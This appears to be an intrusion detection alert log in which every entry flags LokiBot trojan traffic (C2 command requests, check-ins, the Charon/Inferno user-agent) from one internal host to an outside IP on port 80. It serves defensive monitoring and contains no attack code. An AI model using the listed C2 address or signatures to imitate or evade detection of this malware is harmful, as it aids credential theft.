11/25/21-10:48:52.111718	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49919	80	192.168.11.20	176.223.209.128
11/25/21-10:48:52.111718	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49919	80	192.168.11.20	176.223.209.128
11/25/21-10:48:52.111718	TCP	2025381	ET TROJAN LokiBot Checkin	49919	80	192.168.11.20	176.223.209.128
11/25/21-10:48:52.111718	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49919	80	192.168.11.20	176.223.209.128
11/25/21-10:48:52.644466	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49920	80	192.168.11.20	176.223.209.128
11/25/21-10:48:52.644466	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49920	80	192.168.11.20	176.223.209.128
11/25/21-10:48:52.644466	TCP	2025381	ET TROJAN LokiBot Checkin	49920	80	192.168.11.20	176.223.209.128
11/25/21-10:48:52.644466	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49920	80	192.168.11.20	176.223.209.128
11/25/21-10:48:53.244344	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49921	80	192.168.11.20	176.223.209.128
11/25/21-10:48:53.244344	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49921	80	192.168.11.20	176.223.209.128
11/25/21-10:48:53.244344	TCP	2025381	ET TROJAN LokiBot Checkin	49921	80	192.168.11.20	176.223.209.128
11/25/21-10:48:53.244344	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49921	80	192.168.11.20	176.223.209.128
11/25/21-10:48:53.818084	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49922	80	192.168.11.20	176.223.209.128
11/25/21-10:48:53.818084	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49922	80	192.168.11.20	176.223.209.128
11/25/21-10:48:53.818084	TCP	2025381	ET TROJAN LokiBot Checkin	49922	80	192.168.11.20	176.223.209.128
11/25/21-10:48:53.818084	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49922	80	192.168.11.20	176.223.209.128
11/25/21-10:48:54.400388	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49923	80	192.168.11.20	176.223.209.128
11/25/21-10:48:54.400388	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49923	80	192.168.11.20	176.223.209.128
11/25/21-10:48:54.400388	TCP	2025381	ET TROJAN LokiBot Checkin	49923	80	192.168.11.20	176.223.209.128
11/25/21-10:48:54.400388	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49923	80	192.168.11.20	176.223.209.128
11/25/21-10:48:54.951317	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49924	80	192.168.11.20	176.223.209.128
11/25/21-10:48:54.951317	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49924	80	192.168.11.20	176.223.209.128
11/25/21-10:48:54.951317	TCP	2025381	ET TROJAN LokiBot Checkin	49924	80	192.168.11.20	176.223.209.128
11/25/21-10:48:54.951317	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49924	80	192.168.11.20	176.223.209.128
11/25/21-10:48:55.484489	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49925	80	192.168.11.20	176.223.209.128
11/25/21-10:48:55.484489	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49925	80	192.168.11.20	176.223.209.128
11/25/21-10:48:55.484489	TCP	2025381	ET TROJAN LokiBot Checkin	49925	80	192.168.11.20	176.223.209.128
11/25/21-10:48:55.484489	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49925	80	192.168.11.20	176.223.209.128
11/25/21-10:48:56.007948	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49926	80	192.168.11.20	176.223.209.128
11/25/21-10:48:56.007948	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49926	80	192.168.11.20	176.223.209.128
11/25/21-10:48:56.007948	TCP	2025381	ET TROJAN LokiBot Checkin	49926	80	192.168.11.20	176.223.209.128
11/25/21-10:48:56.007948	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49926	80	192.168.11.20	176.223.209.128
11/25/21-10:48:56.507759	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49927	80	192.168.11.20	176.223.209.128
11/25/21-10:48:56.507759	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49927	80	192.168.11.20	176.223.209.128
11/25/21-10:48:56.507759	TCP	2025381	ET TROJAN LokiBot Checkin	49927	80	192.168.11.20	176.223.209.128
11/25/21-10:48:56.507759	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49927	80	192.168.11.20	176.223.209.128
11/25/21-10:48:57.040797	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49928	80	192.168.11.20	176.223.209.128
11/25/21-10:48:57.040797	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49928	80	192.168.11.20	176.223.209.128
11/25/21-10:48:57.040797	TCP	2025381	ET TROJAN LokiBot Checkin	49928	80	192.168.11.20	176.223.209.128
11/25/21-10:48:57.040797	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49928	80	192.168.11.20	176.223.209.128
11/25/21-10:48:57.544069	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49929	80	192.168.11.20	176.223.209.128
11/25/21-10:48:57.544069	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49929	80	192.168.11.20	176.223.209.128
11/25/21-10:48:57.544069	TCP	2025381	ET TROJAN LokiBot Checkin	49929	80	192.168.11.20	176.223.209.128
11/25/21-10:48:57.544069	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49929	80	192.168.11.20	176.223.209.128
11/25/21-10:48:58.081848	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49930	80	192.168.11.20	176.223.209.128
11/25/21-10:48:58.081848	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49930	80	192.168.11.20	176.223.209.128
11/25/21-10:48:58.081848	TCP	2025381	ET TROJAN LokiBot Checkin	49930	80	192.168.11.20	176.223.209.128
11/25/21-10:48:58.081848	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49930	80	192.168.11.20	176.223.209.128
11/25/21-10:48:58.604842	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49931	80	192.168.11.20	176.223.209.128
11/25/21-10:48:58.604842	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49931	80	192.168.11.20	176.223.209.128
11/25/21-10:48:58.604842	TCP	2025381	ET TROJAN LokiBot Checkin	49931	80	192.168.11.20	176.223.209.128
11/25/21-10:48:58.604842	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49931	80	192.168.11.20	176.223.209.128
11/25/21-10:48:59.185834	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49932	80	192.168.11.20	176.223.209.128
11/25/21-10:48:59.185834	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49932	80	192.168.11.20	176.223.209.128
11/25/21-10:48:59.185834	TCP	2025381	ET TROJAN LokiBot Checkin	49932	80	192.168.11.20	176.223.209.128
11/25/21-10:48:59.185834	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49932	80	192.168.11.20	176.223.209.128
11/25/21-10:48:59.754447	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49933	80	192.168.11.20	176.223.209.128
11/25/21-10:48:59.754447	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49933	80	192.168.11.20	176.223.209.128
11/25/21-10:48:59.754447	TCP	2025381	ET TROJAN LokiBot Checkin	49933	80	192.168.11.20	176.223.209.128
11/25/21-10:48:59.754447	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49933	80	192.168.11.20	176.223.209.128
11/25/21-10:49:00.325952	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49934	80	192.168.11.20	176.223.209.128
11/25/21-10:49:00.325952	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49934	80	192.168.11.20	176.223.209.128
11/25/21-10:49:00.325952	TCP	2025381	ET TROJAN LokiBot Checkin	49934	80	192.168.11.20	176.223.209.128
11/25/21-10:49:00.325952	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49934	80	192.168.11.20	176.223.209.128
11/25/21-10:49:00.885502	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49935	80	192.168.11.20	176.223.209.128
11/25/21-10:49:00.885502	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49935	80	192.168.11.20	176.223.209.128
11/25/21-10:49:00.885502	TCP	2025381	ET TROJAN LokiBot Checkin	49935	80	192.168.11.20	176.223.209.128
11/25/21-10:49:00.885502	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49935	80	192.168.11.20	176.223.209.128
11/25/21-10:49:01.341393	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49936	80	192.168.11.20	176.223.209.128
11/25/21-10:49:01.341393	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49936	80	192.168.11.20	176.223.209.128
11/25/21-10:49:01.341393	TCP	2025381	ET TROJAN LokiBot Checkin	49936	80	192.168.11.20	176.223.209.128
11/25/21-10:49:01.341393	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49936	80	192.168.11.20	176.223.209.128
11/25/21-10:49:01.916305	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49937	80	192.168.11.20	176.223.209.128
11/25/21-10:49:01.916305	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49937	80	192.168.11.20	176.223.209.128
11/25/21-10:49:01.916305	TCP	2025381	ET TROJAN LokiBot Checkin	49937	80	192.168.11.20	176.223.209.128
11/25/21-10:49:01.916305	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49937	80	192.168.11.20	176.223.209.128
11/25/21-10:49:02.470140	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49938	80	192.168.11.20	176.223.209.128
11/25/21-10:49:02.470140	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49938	80	192.168.11.20	176.223.209.128
11/25/21-10:49:02.470140	TCP	2025381	ET TROJAN LokiBot Checkin	49938	80	192.168.11.20	176.223.209.128
11/25/21-10:49:02.470140	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49938	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.002783	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49939	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.002783	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49939	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.002783	TCP	2025381	ET TROJAN LokiBot Checkin	49939	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.002783	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49939	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.489951	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49940	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.489951	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49940	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.489951	TCP	2025381	ET TROJAN LokiBot Checkin	49940	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.489951	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49940	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.973710	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49941	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.973710	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49941	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.973710	TCP	2025381	ET TROJAN LokiBot Checkin	49941	80	192.168.11.20	176.223.209.128
11/25/21-10:49:03.973710	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49941	80	192.168.11.20	176.223.209.128
11/25/21-10:49:04.469326	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49942	80	192.168.11.20	176.223.209.128
11/25/21-10:49:04.469326	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49942	80	192.168.11.20	176.223.209.128
11/25/21-10:49:04.469326	TCP	2025381	ET TROJAN LokiBot Checkin	49942	80	192.168.11.20	176.223.209.128
11/25/21-10:49:04.469326	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49942	80	192.168.11.20	176.223.209.128
11/25/21-10:49:05.006357	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49943	80	192.168.11.20	176.223.209.128
11/25/21-10:49:05.006357	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49943	80	192.168.11.20	176.223.209.128
11/25/21-10:49:05.006357	TCP	2025381	ET TROJAN LokiBot Checkin	49943	80	192.168.11.20	176.223.209.128
11/25/21-10:49:05.006357	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49943	80	192.168.11.20	176.223.209.128
11/25/21-10:49:05.526807	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49944	80	192.168.11.20	176.223.209.128
11/25/21-10:49:05.526807	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49944	80	192.168.11.20	176.223.209.128
11/25/21-10:49:05.526807	TCP	2025381	ET TROJAN LokiBot Checkin	49944	80	192.168.11.20	176.223.209.128
11/25/21-10:49:05.526807	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49944	80	192.168.11.20	176.223.209.128
11/25/21-10:49:06.029714	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49948	80	192.168.11.20	176.223.209.128
11/25/21-10:49:06.029714	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49948	80	192.168.11.20	176.223.209.128
11/25/21-10:49:06.029714	TCP	2025381	ET TROJAN LokiBot Checkin	49948	80	192.168.11.20	176.223.209.128
11/25/21-10:49:06.029714	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49948	80	192.168.11.20	176.223.209.128
11/25/21-10:49:06.509232	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49949	80	192.168.11.20	176.223.209.128
11/25/21-10:49:06.509232	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49949	80	192.168.11.20	176.223.209.128
11/25/21-10:49:06.509232	TCP	2025381	ET TROJAN LokiBot Checkin	49949	80	192.168.11.20	176.223.209.128
11/25/21-10:49:06.509232	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49949	80	192.168.11.20	176.223.209.128
11/25/21-10:49:07.028730	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49950	80	192.168.11.20	176.223.209.128
11/25/21-10:49:07.028730	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49950	80	192.168.11.20	176.223.209.128
11/25/21-10:49:07.028730	TCP	2025381	ET TROJAN LokiBot Checkin	49950	80	192.168.11.20	176.223.209.128
11/25/21-10:49:07.028730	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49950	80	192.168.11.20	176.223.209.128
11/25/21-10:49:07.550027	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49951	80	192.168.11.20	176.223.209.128
11/25/21-10:49:07.550027	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49951	80	192.168.11.20	176.223.209.128
11/25/21-10:49:07.550027	TCP	2025381	ET TROJAN LokiBot Checkin	49951	80	192.168.11.20	176.223.209.128
11/25/21-10:49:07.550027	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49951	80	192.168.11.20	176.223.209.128
11/25/21-10:49:08.046702	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49952	80	192.168.11.20	176.223.209.128
11/25/21-10:49:08.046702	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49952	80	192.168.11.20	176.223.209.128
11/25/21-10:49:08.046702	TCP	2025381	ET TROJAN LokiBot Checkin	49952	80	192.168.11.20	176.223.209.128
11/25/21-10:49:08.046702	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49952	80	192.168.11.20	176.223.209.128
11/25/21-10:49:08.502494	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49953	80	192.168.11.20	176.223.209.128
11/25/21-10:49:08.502494	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49953	80	192.168.11.20	176.223.209.128
11/25/21-10:49:08.502494	TCP	2025381	ET TROJAN LokiBot Checkin	49953	80	192.168.11.20	176.223.209.128
11/25/21-10:49:08.502494	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49953	80	192.168.11.20	176.223.209.128
11/25/21-10:49:09.053477	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49954	80	192.168.11.20	176.223.209.128
11/25/21-10:49:09.053477	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49954	80	192.168.11.20	176.223.209.128
11/25/21-10:49:09.053477	TCP	2025381	ET TROJAN LokiBot Checkin	49954	80	192.168.11.20	176.223.209.128
11/25/21-10:49:09.053477	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49954	80	192.168.11.20	176.223.209.128
11/25/21-10:49:09.583942	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49955	80	192.168.11.20	176.223.209.128
11/25/21-10:49:09.583942	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49955	80	192.168.11.20	176.223.209.128
11/25/21-10:49:09.583942	TCP	2025381	ET TROJAN LokiBot Checkin	49955	80	192.168.11.20	176.223.209.128
11/25/21-10:49:09.583942	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49955	80	192.168.11.20	176.223.209.128
11/25/21-10:49:10.109387	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49956	80	192.168.11.20	176.223.209.128
11/25/21-10:49:10.109387	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49956	80	192.168.11.20	176.223.209.128
11/25/21-10:49:10.109387	TCP	2025381	ET TROJAN LokiBot Checkin	49956	80	192.168.11.20	176.223.209.128
11/25/21-10:49:10.109387	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49956	80	192.168.11.20	176.223.209.128
11/25/21-10:49:10.657392	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49957	80	192.168.11.20	176.223.209.128
11/25/21-10:49:10.657392	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49957	80	192.168.11.20	176.223.209.128
11/25/21-10:49:10.657392	TCP	2025381	ET TROJAN LokiBot Checkin	49957	80	192.168.11.20	176.223.209.128
11/25/21-10:49:10.657392	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49957	80	192.168.11.20	176.223.209.128
11/25/21-10:49:11.180607	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49958	80	192.168.11.20	176.223.209.128
11/25/21-10:49:11.180607	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49958	80	192.168.11.20	176.223.209.128
11/25/21-10:49:11.180607	TCP	2025381	ET TROJAN LokiBot Checkin	49958	80	192.168.11.20	176.223.209.128
11/25/21-10:49:11.180607	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49958	80	192.168.11.20	176.223.209.128
11/25/21-10:49:11.643885	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49959	80	192.168.11.20	176.223.209.128
11/25/21-10:49:11.643885	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49959	80	192.168.11.20	176.223.209.128
11/25/21-10:49:11.643885	TCP	2025381	ET TROJAN LokiBot Checkin	49959	80	192.168.11.20	176.223.209.128
11/25/21-10:49:11.643885	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49959	80	192.168.11.20	176.223.209.128
11/25/21-10:49:12.083953	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49960	80	192.168.11.20	176.223.209.128
11/25/21-10:49:12.083953	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49960	80	192.168.11.20	176.223.209.128
11/25/21-10:49:12.083953	TCP	2025381	ET TROJAN LokiBot Checkin	49960	80	192.168.11.20	176.223.209.128
11/25/21-10:49:12.083953	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49960	80	192.168.11.20	176.223.209.128
11/25/21-10:49:12.560857	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49961	80	192.168.11.20	176.223.209.128
11/25/21-10:49:12.560857	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49961	80	192.168.11.20	176.223.209.128
11/25/21-10:49:12.560857	TCP	2025381	ET TROJAN LokiBot Checkin	49961	80	192.168.11.20	176.223.209.128
11/25/21-10:49:12.560857	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49961	80	192.168.11.20	176.223.209.128
11/25/21-10:49:13.092995	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49962	80	192.168.11.20	176.223.209.128
11/25/21-10:49:13.092995	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49962	80	192.168.11.20	176.223.209.128
11/25/21-10:49:13.092995	TCP	2025381	ET TROJAN LokiBot Checkin	49962	80	192.168.11.20	176.223.209.128
11/25/21-10:49:13.092995	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49962	80	192.168.11.20	176.223.209.128
11/25/21-10:49:13.622408	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49964	80	192.168.11.20	176.223.209.128
11/25/21-10:49:13.622408	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49964	80	192.168.11.20	176.223.209.128
11/25/21-10:49:13.622408	TCP	2025381	ET TROJAN LokiBot Checkin	49964	80	192.168.11.20	176.223.209.128
11/25/21-10:49:13.622408	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49964	80	192.168.11.20	176.223.209.128
11/25/21-10:49:14.137401	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49965	80	192.168.11.20	176.223.209.128
11/25/21-10:49:14.137401	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49965	80	192.168.11.20	176.223.209.128
11/25/21-10:49:14.137401	TCP	2025381	ET TROJAN LokiBot Checkin	49965	80	192.168.11.20	176.223.209.128
11/25/21-10:49:14.137401	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49965	80	192.168.11.20	176.223.209.128
11/25/21-10:49:14.671375	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49966	80	192.168.11.20	176.223.209.128
11/25/21-10:49:14.671375	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49966	80	192.168.11.20	176.223.209.128
11/25/21-10:49:14.671375	TCP	2025381	ET TROJAN LokiBot Checkin	49966	80	192.168.11.20	176.223.209.128
11/25/21-10:49:14.671375	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49966	80	192.168.11.20	176.223.209.128
11/25/21-10:49:15.151567	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49967	80	192.168.11.20	176.223.209.128
11/25/21-10:49:15.151567	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49967	80	192.168.11.20	176.223.209.128
11/25/21-10:49:15.151567	TCP	2025381	ET TROJAN LokiBot Checkin	49967	80	192.168.11.20	176.223.209.128
11/25/21-10:49:15.151567	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49967	80	192.168.11.20	176.223.209.128
11/25/21-10:49:15.668863	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49968	80	192.168.11.20	176.223.209.128
11/25/21-10:49:15.668863	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49968	80	192.168.11.20	176.223.209.128
11/25/21-10:49:15.668863	TCP	2025381	ET TROJAN LokiBot Checkin	49968	80	192.168.11.20	176.223.209.128
11/25/21-10:49:15.668863	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49968	80	192.168.11.20	176.223.209.128
11/25/21-10:49:16.184502	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49969	80	192.168.11.20	176.223.209.128
11/25/21-10:49:16.184502	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49969	80	192.168.11.20	176.223.209.128
11/25/21-10:49:16.184502	TCP	2025381	ET TROJAN LokiBot Checkin	49969	80	192.168.11.20	176.223.209.128
11/25/21-10:49:16.184502	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49969	80	192.168.11.20	176.223.209.128
11/25/21-10:49:16.721053	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49970	80	192.168.11.20	176.223.209.128
11/25/21-10:49:16.721053	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49970	80	192.168.11.20	176.223.209.128
11/25/21-10:49:16.721053	TCP	2025381	ET TROJAN LokiBot Checkin	49970	80	192.168.11.20	176.223.209.128
11/25/21-10:49:16.721053	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49970	80	192.168.11.20	176.223.209.128
11/25/21-10:49:17.213581	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49971	80	192.168.11.20	176.223.209.128
11/25/21-10:49:17.213581	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49971	80	192.168.11.20	176.223.209.128
11/25/21-10:49:17.213581	TCP	2025381	ET TROJAN LokiBot Checkin	49971	80	192.168.11.20	176.223.209.128
11/25/21-10:49:17.213581	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49971	80	192.168.11.20	176.223.209.128
11/25/21-10:49:17.716881	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49972	80	192.168.11.20	176.223.209.128
11/25/21-10:49:17.716881	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49972	80	192.168.11.20	176.223.209.128
11/25/21-10:49:17.716881	TCP	2025381	ET TROJAN LokiBot Checkin	49972	80	192.168.11.20	176.223.209.128
11/25/21-10:49:17.716881	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49972	80	192.168.11.20	176.223.209.128
11/25/21-10:49:18.186520	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49973	80	192.168.11.20	176.223.209.128
11/25/21-10:49:18.186520	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49973	80	192.168.11.20	176.223.209.128
11/25/21-10:49:18.186520	TCP	2025381	ET TROJAN LokiBot Checkin	49973	80	192.168.11.20	176.223.209.128
11/25/21-10:49:18.186520	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49973	80	192.168.11.20	176.223.209.128
11/25/21-10:49:18.695896	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49974	80	192.168.11.20	176.223.209.128
11/25/21-10:49:18.695896	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49974	80	192.168.11.20	176.223.209.128
11/25/21-10:49:18.695896	TCP	2025381	ET TROJAN LokiBot Checkin	49974	80	192.168.11.20	176.223.209.128
11/25/21-10:49:18.695896	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49974	80	192.168.11.20	176.223.209.128
11/25/21-10:49:19.208676	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49975	80	192.168.11.20	176.223.209.128
11/25/21-10:49:19.208676	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49975	80	192.168.11.20	176.223.209.128
11/25/21-10:49:19.208676	TCP	2025381	ET TROJAN LokiBot Checkin	49975	80	192.168.11.20	176.223.209.128
11/25/21-10:49:19.208676	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49975	80	192.168.11.20	176.223.209.128
11/25/21-10:49:19.734180	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49976	80	192.168.11.20	176.223.209.128
11/25/21-10:49:19.734180	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49976	80	192.168.11.20	176.223.209.128
11/25/21-10:49:19.734180	TCP	2025381	ET TROJAN LokiBot Checkin	49976	80	192.168.11.20	176.223.209.128
11/25/21-10:49:19.734180	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49976	80	192.168.11.20	176.223.209.128
11/25/21-10:49:20.231014	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49977	80	192.168.11.20	176.223.209.128
11/25/21-10:49:20.231014	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49977	80	192.168.11.20	176.223.209.128
